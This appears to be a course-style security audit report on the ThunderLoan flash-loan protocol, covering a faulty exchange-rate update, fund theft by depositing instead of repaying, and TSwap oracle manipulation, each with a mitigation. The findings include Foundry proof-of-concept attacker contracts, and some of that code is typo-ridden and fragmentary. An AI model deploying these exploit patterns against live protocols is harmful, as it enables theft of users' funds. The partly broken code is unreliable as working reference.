[H-1] Erroneous `Thunderloan:updateExchangeRate` in the `deposit` function causes protocal to think it has more fees than it really does, which blocks redemption and incorrect sets the exchange rate.

Description In the thundeloan system, the `exchangeRate` is reposnsible for calculating the exchange rate between assetTokens and undelying tokens. In a way, its resposible for keeping track of how many fees to give the liquidity providers.

however, The `deposit` function, updates rate without collecting any fees!

```
1   function deposit(IERC20 token, uint256 amount) external revertIfZero(
        amount) revertIfNotAllowedToken(token) {
2           AssetToken assetToken = s_tokenToAssetToken[token];
3           uint256 exchangeRate = assetToken.getExchangeRate();
4           uint256 mintAmount = (amount * assetToken.
                EXCHANGE_RATE_PRECISION()) / exchangeRate;
5           emit Deposit(msg.sender, token, amount);
6           assetToken.mint(msg.sender, mintAmount);
7           //@audit high
8   @>        uint256 calculatedFee = getCalculatedFee(token, amount);
9   @>        assetToken.updateExchangeRate(calculatedFee);
10          token.safeTransferFrom(msg.sender, address(assetToken), amount)
                ;
11      }
```

impact: ther are several impact to this issue/bug. 1. The `redem` function is blocked, because the protocol thinks the owned token is more than it has. 2. Rewards are incorrectly calculated, leading to liquidity providers potencially getting way more or less than deserved.

proof of concempt: 1. the LP deposits 2. User takes out a flashloan. 3. Its now impossible for the LP to redeem.

Proof of code

Place the following in `thundeloan.t.sol`

```
1           function testRedemTokenAfterLoan() public setAllowedToken
                hasDeposits{
2           uint256 amountToBorrow = AMOUNT * 10;
3           uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
                amountToBorrow);vm.startprank(user);
4           tokenA.mint(address(mockFlashLoanReceiver), calculatedFee) //
                fee
5           thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
                amountToBorrow, "");
6           vm.stopprank();
7           uint256 amountToRedeem= type(uint256).max;
8           vm.startprank(liquidityProvider);
9           thunderLoan.redeem(tokenA, amountToRedeem);
```

```
10      }
```

Recommended Mitigation

Remove the incorrectly updated exchange rate lines from `deposit`.

```
1   function deposit(IERC20 token, uint256 amount) external revertIfZero(
        amount) revertIfNotAllowedToken(token) {
2           AssetToken assetToken = s_tokenToAssetToken[token];
3           uint256 exchangeRate = assetToken.getExchangeRate();
4           uint256 mintAmount = (amount * assetToken.
                EXCHANGE_RATE_PRECISION()) / exchangeRate;
5           emit Deposit(msg.sender, token, amount);
6           assetToken.mint(msg.sender, mintAmount);
7           //@audit high
8   -        uint256 calculatedFee = getCalculatedFee(token, amount);
9   -       assetToken.updateExchangeRate(calculatedFee);
10          token.safeTransferFrom(msg.sender, address(assetToken), amount)
                ;
11      }
```

[H-2] By calling a flashloan and then `ThunderLoan::deposit` instead of `ThunderLoan::repay` users can steal all funds from the protocol

Description: By calling the deposit function to repay a loan, an attacker can meet the flashloan's repayment check, while being allowed to later redeem their deposited tokens, stealing the loan funds.

Impact: This exploit drains the liquidity pool for the flash loaned token, breaking internal accounting and stealing all funds.

Proof of Concept:

1. Attacker executes a `flashloan`
2. Borrowed funds are deposited into `ThunderLoan` via a malicious contract's `executeOperation` function
3. `Flashloan` check passes due to check vs starting AssetToken Balance being equal to the post deposit amount
4. Attacker is able to call `redeem` on `ThunderLoan` to withdraw the deposited tokens after the flash loan as resolved.

Add the following to ThunderLoanTest.t.sol and run `forge test --mt testUseDepositInsteadOfRepayTo`

```
1   function testUseDepositInsteadOfRepayToStealFunds() public
        setAllowedToken hasDeposits {
2       uint256 amountToBorrow = 50e18;
```

```
    DepositOverRepay dor = new DepositOverRepay(address(thunderLoan));
    uint256 fee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
    vm.startPrank(user);
    tokenA.mint(address(dor), fee);
    thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "");
    dor.redeemMoney();
    vm.stopPrank();

    assert(tokenA.balanceOf(address(dor)) > fee);
}

contract DepositOverRepay is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    AssetToken assetToken;
    IERC20 s_token;

    constructor(address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /*initiator*/
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
        s_token = IERC20(token);
        assetToken = thunderLoan.getAssetFromToken(IERC20(token));
        s_token.approve(address(thunderLoan), amount + fee);
        thunderLoan.deposit(IERC20(token), amount + fee);
        return true;
    }

    function redeemMoney() public {
        uint256 amount = assetToken.balanceOf(address(this));
        thunderLoan.redeem(s_token, amount);
    }
}
```

Recommended Mitigation: ThunderLoan could prevent deposits while an AssetToken is currently flash loaning.

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(
    amount) revertIfNotAllowedToken(token) {
+   if (s_currentlyFlashLoaning[token]) {
+       revert ThunderLoan__CurrentlyFlashLoaning();
+   }
```

```
5       AssetToken assetToken = s_tokenToAssetToken[token];
6       uint256 exchangeRate = assetToken.getExchangeRate();
7       uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()
            ) / exchangeRate;
8       emit Deposit(msg.sender, token, amount);
9       assetToken.mint(msg.sender, mintAmount);
10
11      uint256 calculatedFee = getCalculatedFee(token, amount);
12      assetToken.updateExchangeRate(calculatedFee);
13
14      token.safeTransferFrom(msg.sender, address(assetToken), amount);
15  }
```

[M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers will drastically reduced fees for providing liquidity.

Proof of Concept: The following all happens in 1 transaction.

1. User takes a flash loan from `ThunderLoan` for 1000 `tokenA`. They are charged the original fee `fee1`. During the flash loan, they do the following:
    1. User sells 1000 `tokenA`, tanking the price.
    2. Instead of repaying right away, the user takes out another flash loan for another 1000 `tokenA`.
        1. Due to the fact that the way `ThunderLoan` calculates price based on the `TSwapPool` this second flash loan is substantially cheaper.
           proof of code
           here is the corrected code

```
1   function testOracleManipulation() public {
2       // 1. Setup contracts
3       thunderLoan = new ThunderLoan();
4       tokenA = new ERC20Mock();
5       proxy = new ERC1967Proxy(address(thunderLoan), "");
6       BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth));
7       // Create a TSwap Dex between WETH/ TokenA and initialize Thunder
            Loan
8       address tswapPool = pf.createPool(address(tokenA));
```

```
9       thunderLoan = ThunderLoan(address(proxy));
10      thunderLoan.initialize(address(pf));
11
12      // 2. Fund TSwap
13      vm.startPrank(liquidityProvider);
14      tokenA.mint(liquidityProvider, 100e18);
15      tokenA.approve(address(tswapPool), 100e18);
16      weth.mint(liquidityProvider, 100e18);
17      weth.approve(address(tswapPool), 100e18);
18      BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.
            timestamp);
19      vm.stopPrank();
20
21      // 3. Fund ThunderLoan
22      vm.prank(thunderLoan.owner());
23      thunderLoan.setAllowedToken(tokenA, true);
24      vm.startPrank(liquidityProvider);
25      tokenA.mint(liquidityProvider, 100e18);
26      tokenA.approve(address(thunderLoan), 100e18);
27      thunderLoan.deposit(tokenA, 100e18);
28      vm.stopPrank();
29
30      uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA, 100e18
            );
31      console2.log("Normal Fee is:", normalFeeCost);
32
33      // 4. Execute 2 Flash Loans
34      uint256 amountToBorrow = 50e18;
35      MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver(
36          address(tswapPool), address(thunderLoan), address(thunderLoan.
                getAssetFromToken(tokenA))
37      );
38
39      vm.startPrank(user);
40      tokenA.mint(address(flr), 100e18);
41      thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, ""); //
            the executeOperation function of flr will
42          // actually call flashloan a second time.
43      vm.stopPrank();
44
45      uint256 attackFee = flr.feeOne() + flr.feeTwo();
46      console2.log("Attack Fee is:", attackFee);
47      assert(attackFee < normalFeeCost);
48  }
49
50
51  contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
52      ThunderLoan thunderLoan;
53      address repayAddress;
54      BuffMockTSwap tswapPool;
55      bool attacked;
```

```
56      uint256 public feeOne;
57      uint256 public feeTwo;
58
59      // 1. Swap TokenA borrowed for WETH
60      // 2. Take out a second flash loan to compare fees
61      constructor(address _tswapPool, address _thunderLoan, address
            _repayAddress) {
62          tswapPool = BuffMockTSwap(_tswapPool);
63          thunderLoan = ThunderLoan(_thunderLoan);
64          repayAddress = _repayAddress;
65      }
66
67      function executeOperation(
68          address token,
69          uint256 amount,
70          uint256 fee,
71          address, /*initiator*/
72          bytes calldata /*params*/
73      )
74          external
75          returns (bool)
76      {
77          if (!attacked) {
78              feeOne = fee;
79              attacked = true;
80              uint256 wethBought = tswapPool.getOutputAmountBasedOnInput
                    (50e18, 100e18, 100e18);
81              IERC20(token).approve(address(tswapPool), 50e18);
82              // Tanks the price:
83              tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18,
                    wethBought, block.timestamp);
84              // Second Flash Loan!
85              thunderLoan.flashloan(address(this), IERC20(token), amount,
                     "");
86              // We repay the flash loan via transfer since the repay
                    function won't let us!
87              IERC20(token).transfer(address(repayAddress), amount + fee)
                    ;
88          } else {
89              // calculate the fee and repay
90              feeTwo = fee;
91              // We repay the flash loan via transfer since the repay
                    function won't let us!
92              IERC20(token).transfer(address(repayAddress), amount + fee)
                    ;
93          }
94          return true;
95      }
96  }
```

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price

feed with a Uniswap TWAP fallback oracle.